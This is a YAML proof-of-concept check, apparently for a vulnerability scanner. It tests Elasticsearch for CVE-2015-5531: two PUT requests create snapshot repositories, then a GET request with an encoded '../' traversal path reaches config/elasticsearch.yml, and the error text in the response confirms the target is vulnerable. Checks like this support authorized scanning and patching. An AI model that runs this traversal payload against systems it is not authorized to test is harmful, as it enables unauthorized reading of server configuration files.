elasticsearch-cve-2015-5531.yml

name: poc-yaml-elasticsearch-cve-2015-5531
manual: true
transport: http
set:
    r1: randomLowercase(4)
rules:
    r0:
        request:
            cache: true
            method: PUT
            path: /_snapshot/{{r1}}
            headers:
                Content-Type: application/x-www-form-urlencoded
            body: |-
                {
                    "type": "fs",
                    "settings":{
                        "location": "/usr/share/elasticsearch/repo/{{r1}}"
                    }
                }
            follow_redirects: true
        expression: response.status == 200 && response.content_type.contains("application/json") && response.body.bcontains(b"{\"acknowledged\":true}")
    r1:
        request:
            cache: true
            method: PUT
            path: /_snapshot/{{r1}}2
            headers:
                Content-Type: application/x-www-form-urlencoded
            body: |-
                {
                    "type": "fs",
                    "settings":{
                        "location": "/usr/share/elasticsearch/repo/{{r1}}/snapshot-backdata"
                    }
                }
            follow_redirects: true
        expression: response.status == 200 && response.content_type.contains("application/json") && response.body.bcontains(b"{\"acknowledged\":true}")
    r2:
        request:
            cache: true
            method: GET
            path: /_snapshot/{{r1}}/backdata%2f..%2f..%2f..%2fconfig%2felasticsearch.yml
            follow_redirects: true
        expression: response.status == 400 && response.content_type.contains("application/json") && response.body.bcontains(b"{\"error\":\"ElasticsearchParseException[Failed to derive xcontent from")
expression: r0() && r1() && r2()
detail:
    author: ha9worm(https://github.com/ha9worm)
    links:
        - https://www.cnblogs.com/sallyzhang/p/12457031.html